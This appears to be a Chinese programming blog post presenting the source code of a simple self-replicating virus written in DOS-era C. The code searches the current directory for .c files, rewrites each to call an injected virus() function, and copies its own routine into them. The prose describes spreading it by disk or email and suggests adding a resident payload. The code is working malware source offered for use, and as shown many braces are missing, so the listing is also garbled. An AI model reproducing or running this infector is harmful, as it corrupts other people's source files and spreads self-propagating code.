C语言写的一个病毒

这是C语言写的一个病毒,运行程序后其内容变化另保存为after_virus.c 
此时,如果我们将1.c文件用A盘复制到其他机器或者Email给别人,结果他们一运行又感染了他们保存1.c文件目录下所有c文件 对于第二件事情-------“发作效果”,这里只用printf语句警告了一下,当然你完全可以写一个TSR驻留函数。 
代码如下: 
#include <stdio.h> 
#include <dir.h> 
void main(void) 
{ 
virus(); 

int virus() 
{ 
struct ffblk ffblk; 
FILE *in,*out,*read; 
char *virus="virus.c"; 
char buf[50][80]; 
char *p; 
char *end="return"; 
char *bracket="}"; 
char *main="main"; 
char *include[2]={"stdio.h","dir.h"}; 
char *int_virus="int virus()"; 
char *buffer; 
int done,i,j=0,flag=0; 
printf("\nI have a virus. Writen by PuBin\n"); 
done = findfirst("*.c",&ffblk,0); 
while (!done) 
{ 
i=0; 
if ((in = fopen(ffblk.ff_name, "rt"))== NULL) 
{ 
goto next; 

do{ 
if(i>=50) 
{ 
fclose(in); 
goto next; 

p=fgets(buf[i],80,in); 
i++; 
}while(p!=NULL); 
fclose(in); 
out=fopen(ffblk.ff_name,"w+t"); 
fputs("#include<stdio.h>\n",out); 
fputs("#include<dir.h>\n",out); 
do 
{ 
if(strstr(buf[j],main)!=NULL) 
{ 
for(;j<i-1;j++) 
if(strstr(buf[j],end)==NULL&&strstr(buf[j],bracket)==NULL) 
fputs(buf[j],out); 
else 
{ 
if(flag==0) 
{ 
flag=1; 
fputs("virus();\n",out); 

fputs(buf[j],out); 


else if((strstr(buf[j],include[0])==NULL) 
&&(strstr(buf[j],include[1])==NULL)) 
{ 
fputs(buf[j],out); 
j++; 

else 
j++; 
}while(j<i-1); 
read=fopen(virus,"rt"); 
do 
{ 
p=fgets(buffer,80,read); 
if(strstr(buffer,int_virus)) 
while(p!=NULL) 
{ 
if(strstr(buffer,virus)==NULL) 
fputs(buffer,out); 
else 
{ 
fputs(" char *virus=\"",out); 
fputs(ffblk.ff_name,out); 
fputs("\";\n",out); 

p=fgets(buffer,80,read); 

}while(p!=NULL); 

fclose(read); 
fclose(out); 
printf("\nYour c program %s has a virus. Writen by PuBin\n",ffblk.ff_name); 
next: done = findnext(&ffblk); 

return 0; 
}
  • 1
    点赞
  • 5
    收藏
    觉得还不错? 一键收藏
  • 1
    评论
评论 1
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值